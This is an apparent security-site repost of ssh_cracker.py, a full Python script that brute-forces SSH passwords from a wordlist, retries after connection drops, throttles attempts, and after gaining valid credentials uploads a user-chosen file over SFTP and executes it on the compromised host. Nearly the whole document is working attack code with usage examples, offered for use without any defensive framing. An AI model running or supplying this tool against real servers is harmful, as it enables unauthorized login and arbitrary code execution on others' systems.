Quantcast
Channel: anon80 – Security List Network™
Viewing all articles
Browse latest Browse all 62

Python Script for Brute Forcing SSHD.

$
0
0

QUICK OVERVIEW:
This script runs a brute force attack on an SSH server version 2, and uploads and executes a file after obtaining a valid password. If connection to the SSH server is lost during the brute force, the script will wait and try to reconnect After each 10 seconds, and the brute force will continue from the last failed password in the password list only if able to connect back to the SSH server. If no route is found, the script will keep trying to connect back until you cancel it with “Control-C”. You can modify the 10 seconds sleep time with the (-s) or (–sleep) option.

BruteForcing Options

BruteForcing Options

ssh_cracker.py script:

# Athor: Abdel Sako
# Profession: Network Engineering

#!/usr/bin/env python
from paramiko import SSHClient, Channel, SFTPClient, AutoAddPolicy, SSHException, AuthenticationException, transport
from optparse import OptionParser
from sys import exit
from os import stat, error, listdir
os_error = error
from socket import error, socket
socket_error = error
from time import sleep
from linecache import getline, clearcache

parser = OptionParser()
parser.add_option("-u", "--user", type="string", dest="user_name", help="User name to brute force")
parser.add_option("-i", "--inet", type="string", dest="ip_address", help="Host name or inet v4 address to attack")
parser.add_option("-L", "--list", type="string", dest="passwd_list", help="Your password list")
parser.add_option("-p", "--passwd", type="string", dest="password", help="Specific password to login with (the -L option  and its arg should be omitted )")
parser.add_option("-l", "--local", type="string", dest="local_file", help="The file to upload and execute, a .sh or .py file")
parser.add_option("-r", "--remote", type="string", dest="remote_dir", help="Directory on the remote host where to upload and execute your code")
parser.add_option("-f", "--files", type="string", dest="files", help="List of extra files you want to upload, but won't be automaticly executed")
parser.add_option("-c", "--cmd", type="string", dest="command", help="Specific command to execute your code with if the file is neither a shell or python script ")
parser.add_option("-P", "--port", type="int", dest="port", help="Specific SSH server port, DEFAULT = 22")
parser.add_option("-s", "--sleep", type="int", dest="Secs", help="Time in second(s) to sleep if the SSH server is not responding, Default is 10s")
parser.add_option("-w", "--wait", type="int", dest="secs", help="Amount of time between each attempt, default is 0s" )
parser.add_option("-a", "--attempt", type="int", dest="num", help="Sleep after \"NUM\" attempt. Default is 0s and sleep time default is 10s")
(options, args) = parser.parse_args()

files = options.files
END = "\n[+] EXITING THE PROGRAM"

class ssh_cracker:
        user = options.user_name
        host = options.ip_address
	dict = options.passwd_list
	local = options.local_file
	remote = options.remote_dir
	passwd = options.password
	command = options.command
	port = options.port
	S = options.Secs
	s = options.secs
	attempt = options.num
	sftp = ''
	def ssh_brute_force(self, USER, HOST, PORT, DICT, n):
		def spec_passwd(PORT): 			# FUNCTION THAT LOGS IN WITH A SPECIFIC PASSWORD
			try:
				ssh.connect(HOST, PORT, username=USER, password=sw.passwd)
				return sw.passwd
			except (SSHException, socket_error):
				print "[-] INVALID PASSWORD: %s"%sw.passwd
				print END
				exit(0)
		def passwd_list(PORT):			# FUNCTION THAT LUNCHES THE BRUTE FORCE ATTACK
			while 1:
				line = getline(sw.dict, n)
				password = line.split('\n')[0]
				try:
					print "[+] TRYING TO GUESS THE PASSWORD, ATTACKING HOST:",sw.host,":",sw.port," ==> #:",n," || USERNAME: %s <:> PASSWORD: %s"%(sw.user, password)
					print "[+] WAIT TIME BETWEEN EACH ATTEMPT: ",sw.s,"s"
					sleep(sw.s)
					ssh.connect(HOST, PORT, username=USER, password=password)
					clearcache()
					return password
					break

				except (AuthenticationException, socket_error, transport):
					print "[-] FAILED ... "
					clearcache()
					ssh.close()
					return n
					continue
				else:
					return password

		if sw.passwd and sw.dict != None:
			print '[-] "INVALID OPTION CONBINATION, -d" or "--dict" and "-p" or "--passwd" OPTIONS CAN\'T WORK TOGETHER'
			print END
			exit(0)
		elif sw.passwd != None:
			print "\n[+] LOGIN INTO HOST WITH A SPECIFIC PASSWORD: %s" %(sw.passwd)
			if sw.port == None:
				sw.port = 22
				retr = spec_passwd(sw.port)
			elif sw.port != None:
				retr = spec_passwd(sw.port)
		elif sw.dict != None:
			if sw.port == None:
				sw.port = 22
				retr = passwd_list(sw.port)
			elif sw.port != None:
				retr = passwd_list(sw.port)
		return retr

	def file_upload(self, LOCAL_PATH, REMOTE_PATH):		# FUNCTION THAT UPLOADS THE FILE TO BE EXECUTED 
		try:
			if REMOTE_PATH[-1] != '/':
				REMOTE_PATH = REMOTE_PATH+'/'
			try:
				sw.sftp.stat(REMOTE_PATH)
			except (IOError, SSHException) as e:
				if '[Errno 13]' in str(e):
					print "[-] SFTP: PERMISSION DENIED: COULDN\'T ACCESS \"%s\" ON THE REMOTE HOST \"%s\""%(REMOTE_PATH, sw.host)
					print END
					exit(0)
				elif '[Errno 2]':
					print "[-] SFPT: NO SUCH DIRECTORY \"%s\" IN THE REMOTE HOST \"%s\" FILESYSTEM"%(REMOTE_PATH, sw.host)
					print END
					exit(0)
				else:
					print "[-] SFTP ERROR: FAILED TO UPLOAD \"%s\""%(sw.local)
					print END
					exit(0)
			REMOTE_FILE = REMOTE_PATH+LOCAL_PATH.split('/')[-1]
			sw.sftp.put(LOCAL_PATH, REMOTE_FILE)
		except (IOError, SSHException) as e:
			if '[Errno 13]' in str(e):
				print "\n[-] SFTP: PERMISSION DENIED: COULDN'T ACCESS \"%s\" ON THE REMOTE HOST \"%s\""%(sw.remote, sw.host)
				print "[-] SFTP: FAILED TO UPLOAD"
				print END
				exit(0)
			else:
				print "\n[-] SFTP ERROR: FAILED TO UPLOAD %s"%(sw.local)
				print END
				del e
				exit(0)
		return  REMOTE_FILE

	def exe_file(self, cmd, ext):				# FUNCTION THAT EXECUTES THE UPLOADED FILE
		ch = ssh.get_transport().open_session()
		try:
			if ext == 'sh':
				cmd = 'sh'
				if sw.command != None:
					cmd = sw.command
				print "[+] EXECUTING %s ON THE REMOTE HOST..."%(sw.local)
				ch.exec_command(cmd+" "+file)
				print '[+] THE COMMAND "'+cmd+' '+file+'" WAS EXECUTED'
			elif ext == 'py':
				cmd = 'python'
				if sw.command != None:
					cmd = sw.command
				print "[+] EXECUTING %s ON THE REMOTE HOST..."%(sw.local)
				ch.exec_command(cmd+" "+file)
				print '[+] THE COMMAND"'+cmd+' '+file+'" WAS EXECUTED'
			elif ext != 'sh' and ext != 'py':
				cmd = sw.command
				print "[+] EXECUTING %s ON THE REMOTE HOST..."%(sw.local)
				ch.exec_command(cmd+" "+file)
				print '[+] THE COMMAND "'+cmd+' '+file+'" WAS EXECUTED'
		except SSHException:
			print "[-] SSH: %s COMMAND EXECUTION FAILED"+sw.command
			ch.close()
			print END
			exit(0)
		else:
			data = ch.recv(2048), ch.recv_stderr(1024)
			ch.close()
			return data

def upload_files():			# FUNCTION THAT UPLOADS ADDITIONAL FILES
	for f in fichier:
		try:
			if sw.remote[-1] != '/':
				sw.remote = sw.remote+'/'
			try:
				r = sw.sftp.listdir(sw.remote)
			except (IOError, SSHException) as e:
				if '[Errno 13]' in str(e):
					print "[-] SFTP: PERMISSION DENIED: COULDN\'T ACCESS \"%s\" ON THE REMOTE HOST \"%s\""%(sw.remote, sw.host)
					print END
					exit(0)
				elif '[Errno 2]' in str(e):
					print "[-] NO SUCH DIRECTORY: \"%s\", IN THE REMOTE HOST \"%s\" FILE SYSTEM"%(sw.remote, sw.host)
					print END
					exit(0)
				del e
				print "[-] \"%s\" DOES NOT EXIST ON \"%s\" or YOU DO NOT HAVE PRIVILEGES TO ACCESS IT"%(sw.remote, sw.host)
				print "[-] FAILED TO UPLOAD: \"%s\" to \"%s/%s\""%(files, sw.local,sw.remote)
				print END
				exit(0)
			print "[+] UPLOADING \"%s\" TO \"%s\" ON THE REMOTE \"%s\""%(f, sw.remote, sw.host)
			sw.sftp.put(f, sw.remote+f.split('/')[-1])
			print "[+] \"%s\" WAS SUCCESSFULLY UPLOADED TO \"%s\""%(f, sw.host)
		except (IOError, SSHException) as e:
			if '[Errno 13]' in str(e):
				print "[-] SFTP: PERMISSION DENIED: COULDN\'T ACCESS \"%s\" ON THE REMOTE HOST \"%s\""%(sw.remote, sw.host)
				print END
				exit(0)
			else:
				print "[-] SFTP ERROR: FAILED TO UPLOAD."
				print END
				exit(0)

def test_host_route(slp):		# FUNCTION THAT TEST IF THE REMOTE HOST IS ACTIVE AND ALLOWING TRAFFIC TO THE SSH SERVER
	while 1:
		print "[+] SLEEPING FOR ",slp,"s AND WILL TRY TO CONNECT BACK" 
		sleep(slp)
		sock_verif2 = socket()
		try:
			sock_verif2.connect((sw.host, sw.port))
			sock_verif2.close()
			del sock_verif2
			break
		except socket_error:
			sock_verif2.close()
			print "[-] NO ROUTE FOUND TO ",sw.host,":",sw.port
			del sock_verif2
def handle_file(FILE):
	try:
		d = listdir(FILE)
		del d
		print "[-] NO SUCH FILE: \"%s\""%FILE
		print END
		exit(0)
	except (os_error, IOError) as e:
		if '[Errno 2]' in str(e):
			print "[-] NO SUCH FILE: \"%s\""%(FILE)
			print END
			exit(0)
		elif '[Errno 13]' in str(e):
			print "[-] PERMISSION DENIED: COULDN\'T ACCESS \"%s\""%(FILE)
			print END
			exit(0)
	try:
		stat(FILE)
	except (IOError, os_error) as e:
		if '[Errno 13' in str(e):
			print "SYSTEM: PERMISSION DENIED: COULDN\'T ACCESS \"%s\""%(FILE)
			print END
			exit(0)
		else:
			print "[-] NO SUCH FILE"
			print END
			exit(0)

def sftp_open():
	try:                                                             # DEFINING THE "sftp" variable and OPENING SFTP A CONNECTION TO THE REMOTE SERVER
		sw.sftp = ssh.open_sftp()
		return sw.sftp
	except SSHException:                                             # THE SCRIPT WILL EXIT IF IT FAILS TO OPEN AN SFTP CONNECTION AFTER OBTAINING A
		print "\n[-] FAILED TO OPEN AN SFTP CONNECTION"		 # VALID PASSWORD DURING THE BRUTE FORCE
		print "[-] ACCESS DENIED"
		print END
		exit(0)
				
if __name__ == "__main__" :

	sw = ssh_cracker()
	tries = 0
	if sw.host == None and sw.port == sw.user and sw.S == sw.s and sw.command == sw.local and sw.remote == files and sw.passwd == sw.dict:
		print "Usage: "
		print "\tBrute Force: \t\t\tpython ",__file__," -i 1.2.3.4 -u username -L password_list.txt"
		print "\t\t\t\t\tpython ",__file__," -i 1.2.3.4 -u username -L password_list.txt -a 5 -s 5\n"
		print "\tBrute force, Upload & Exe: \tpython ",__file__," -i 1.2.3.4 -u username -L password_list.txt -l local_file.sh -r remote_directory"
		print "\t\t\t\t\tpython ",__file__," -i 1.2.3.4 -u username -L password_list.txt -l local_file.sh -r remote_directory -f \"file1,file2,file3\"\n"
		print "\tFile transfert:"
		print "\t\t\t\t\tpython ",__file__," -i 1.2.3.4 -u username -p \"password\" -f \"file1,file2,file3\" -r remote_directory\n"
		print "\tTest login:"
		print "\t\t\t\t\tpython ",__file__," -i 1.2.3.4 -u username -p \"password\""
		print END
		exit(0)
	elif sw.user == None:
		print "HELP:\n\t\tshell> python ",__file__,"\n\t\tshell> python ",__file__," -h"
		print END
		exit(0)
	elif sw.dict == None:
		if sw.passwd == None:
			print "HELP:\n\t\tshell> python ",__file__,"\n\t\tshell> python ",__file__," -h"
			print END
			exit(0)
	elif sw.host == None:
		print "HELP:\n\t\tshell> python ",__file__,"\n\t\tshell> python ",__file__," -h"
		print END
		exit(0)
	else:
		pass

	if sw.S != None:
		if sw.S < 0:
        	        print "\n[-] THE TIME TO SLEEP AFTER A DISCONNECTION MUST BE AN INTEGER SUPERIOR OR EQUAL TO \"0\""
        	        print END
               	 	exit(0)
	if sw.remote != None:
		if files == None:
			if sw.local == None:
				print "[-] INVALID OPTION CONBINAISON: YOU MUST SPECIFY A FILE OR FILES TO UPLOAD WITH THE \"-l\" OR \"-f\" "
				print END
				exit(0)
	if sw.local != None:
		handle_file(sw.local)
	n = 1

	if sw.host == None:
		print "[-] YOU MUST SPECIFY AN IP ADDRESS WITH THE \"-i\" OR \"--inet\" OPTION "
		print END
		exit(0)
	if sw.port == None:
		sw.port = 22
	s = socket()
	try:
		if sw.port <= 0:
			print "[-] THE PORT NUMBER MUST BE AN INTERGER SUPERIOR TO 0"
			print END
			exit(0)
		s.connect((sw.host, sw.port))
	except (socket_error,  KeyboardInterrupt):
		print "[-] HOST NOT FOUND: ",sw.host,":",sw.port
		print "[-] VERIFY IF ",sw.host,"IS ACTIVE, AND MAKE SURE AN SSH SERVER IS RUNNING AND ALLOWING TRAFFIC ON PORT ",sw.port
		print END
		exit(0)

	ssh = SSHClient()
	ssh.set_missing_host_key_policy(AutoAddPolicy())

	if files != None and sw.remote == None:
		print "\n[-] YOU MUST SPECIFY A REMOTE DIRECTORY WHERE TO UPLOAD YOUR FILES USING THE \"-r\" OR \"--remote\" OPTION"
		print END
		exit(0)
	if sw.local != None:
		try:
			stat(sw.local)
			if sw.remote == None:
				print "[-] SPECIFY A DIRECTORY WHERE TO UPLOAD AND EXECUTE %s USING THE \"-r\" OR \"--remote\" OPTION"%(sw.local)
				print END
				exit(0)
		except os_error:
			print "\n[-] %s: NO SUCH!!!"%(sw.local)
			print "[-] VERIFY YOUR LOCAL PATH AND FILE NAME\n"
			exit(0)
		else:
			fichier_local = sw.local
			if fichier_local.split('.')[-1] != 'sh' and fichier_local.split('.')[-1] != 'py':
				if sw.command == None:
					print "\n[-] THE FILE YOU CHOSE TO UPLOAD AND EXECUTE IS NEITHER A \"shell\" NOR A \"python\" SCRIPT."
					print "[-] YOU MUST SPECIFY THE EXECUTION COMMAND WITH THE \"-c\" or \"--command\" option "
					print "[+] EXAMPLE: python ",__file__," -i 127.0.0.1 -u root -L passwd.txt -l java.jar -r /tmp -c \"java -jar\""
					print END
					exit(0)
	elif sw.command != None:
		if sw.local == None:
			print "\n[-] INVALID OPTION CONBINATION: \"-c\" or \"--cmd\" MUST BE COMBINED WITH THE \"-l\" OR \"--local\" AND \"-r\" OR \"--remote\" OPTIONS"
			print END
			exit(0)
		elif sw.remote == None:
			print "\n[-] YOU MUST SPECIFY A DIRECTORY WHERE TO UPLOAD AND EXECUTE %s WITH THE \"-r\" OR \"--remote\" OPTION"%(sw.local)
			print END
			exit(0)

	if files != None:
		if files[0] == ' ':
			print "\n[-] ARGUMENT ERROR: A SPACE WAS DETECTED AFTER THE FIRST QUOTATION MARK AT THE BEGINNING OF THE ARGUMENT"
			print "[+] EXAMPLE: python ",__file__," -i 127.0.0.1 -u root -L passwd.txt -l java.jar -r /tmp -c \"java -jar\" -f \"file1,file2,file3\""
			print END
			exit(0)
		elif files[-1] == ' ':
			print "[-] ARGUMENT ERROR: A SPACE WAS DETECTED BEFORE THE QUOTATION MARK AT THE END OF THE ARGUMENT"
			print END
			exit(0)
		else:
        		fichier = files.split(',')
	        	for f in fichier:
				handle_file(f)
                		if f[0] == ' ':
                        		print "[-] ERROR: A SPACE WAS DETECTED BETWEEN "+f+" AND THE PRECEDING COMMA"
					print END
					exit(0)
	        	        elif f[-1] == ' ':
        	        	        print "[-] ERROR: A SPACE WAS DETECTED BETWEEN "+f+" AND THE FOLLOWING COMMA"
					print END
					exit(0)
		for f in fichier:
			try:
				if stat(f):
					pass
			except os_error:
				print "[-] "+f+": NO SUCH FILE"
				print "[-] CHECK THE YOUR FILE(S) NAME(S) AND ITS/THEIR PATH(S)"
				print END
				exit(0)
	else:
		pass

	if sw.dict != None:
		try:
			f = open(sw.dict, 'r')
			m = len(f.readlines())
			f.close()
		except IOError:
			print "[-] CHECK YOUR PASSWORD LIST FILE NAME AND ITS PATH: %s"%(sw.dict)
			print END
			exit(0)
	if sw.s == None:
		sw.s = 0

	while 1:		# BEGIN: ################## HERE IS WHERE THE BRUTE FORCE BEGINS #####################################
		try:
			sock_verif = socket()
			sock_verif.connect((sw.host, sw.port))
			rtrn = sw.ssh_brute_force(sw.user, sw.host, sw.port, sw.passwd, n) #FUNCTION CALL THAT LUNCHES THE BRUTE FORCE ATTACK
			if rtrn != n:
                        	break
			elif sw.attempt != None:
				sw.attempt -= 1
				tries += 1
				if sw.attempt == 0:
					sw.attempt = tries
					tries = 0
					if sw.S == None:
						print "[+] SLEEPING FOR 10s AND WILL CONTINUE THE BRUTE FORCE..."
						sleep(10)
					elif sw.S != None:
						print "[+] SLEEPING FOR ",sw.S,"s AND WILL CONTINUE THE BRUTE FORCE..."
						sleep(sw.S)

			elif n == m:
				print "[-] PASSWORD NOT FOUND, TRY ANOTHER PASSWORD LIST"
				print END
				exit(0)
			n += 1

			sock_verif.close()
			del sock_verif
		except (socket_error, SSHException, AuthenticationException, KeyboardInterrupt):
			sock_verif.close()
			del sock_verif
			print "\n[-] BRUTE FORCE INTERRUPTED BY KEYBOARD INPUT OR CONNECTION WAS REFUSED BY THE REMOTE HOST"
			print "\n[+] SLEEPING!!!\n.................................................................................."
			print "    	\n\t\t STRIKE \"^C\" TO EXIT THE SCRIPT\n"
			print ".................................................................................."
			try:
				if sw.S == None:
					test_host_route(10)
				elif sw.S != None:
					test_host_route(sw.S)
			except KeyboardInterrupt:
				print END
				exit(0)			######################## END ###################################
	print "\n[+] SUCCESS!!! THESE CREDENTIALS ARE VALID >>>>>>>> USERNAME: %s || PASSWORD: %s \n" %(sw.user, rtrn)

	if sw.remote != None and sw.local != None:
		c = sftp_open()
		print "[+] UPLOADING \"%s\" TO \"%s\" ON THE REMOTE HOST \"%s\""%(sw.local, sw.remote, sw.host)
		file = sw.file_upload(sw.local, sw.remote) #THIS FUNCTION CALL UPLOADS THE EXECUTABLE FILE
		print "[+] SUCESSFULLY UPLOADED \"%s\" TO \"%s\""%(sw.local, sw.host)
		c.close()

	if files != None and sw.remote != None: 		# THIS VARIABLE IS THE "files" VARIABLE NOT "file", DON'T CONFUSE THEM
			c = sftp_open()
			upload_files()		# FUNCTION CALL THAT UPLOADS ALL THE ADDITIONNAL FILES

			c.close() 		# CLOSING THE SFTP CONNECTION

	if sw.local != None and sw.remote != None:
		y = file.split('/')[-1]
		x = y.split('.')[-1] 	# "x" CONTAINS THE FILE EXTENTION VALUE 

		if x == 'sh' or x == 'py':					############ BEGIN: EXECUTION OF THE UPLOADED FILE ##############
			val_rtrn = sw.exe_file('', x) 				# 	FIRST VERIFIES IF IT'S A SHELL OR PYTHON SCRIPT,
		elif x != 'sh' or x != 'py':					#	AND WILL AUTOMATICALLY EXECUTE THE FILE.
			if sw.command != None:					#	BUT IF THE FILE EXTENTION IS DIFFERENT FROM THE ONES
				val_rtrn = sw.exe_file(sw.command, '') 		#	ABOVE, THEN THE USER WILL HAVE TO PARSE
		if val_rtrn [0] != '':						#	THE "-c" OR "--cmd" OPTION
			print "\n[+] ",val_rtrn[0]

		if val_rtrn[1] == '':
			print "[+] SUCCESSFULLY EXECUTED"
		elif val_rtrn[1] != '':
			print "[-] BUT SOMETHING WENT WRONG"
			print "[-] HERE IS THE VALUE OF THE \"stderr\" RETURNED: "
			print "\n[-] "+val_rtrn[1]				############################ END: #############################

	ssh.close()
	s.close()
	exit(0)

 

Source : https://github.com/DisjointTech


Viewing all articles
Browse latest Browse all 62

Trending Articles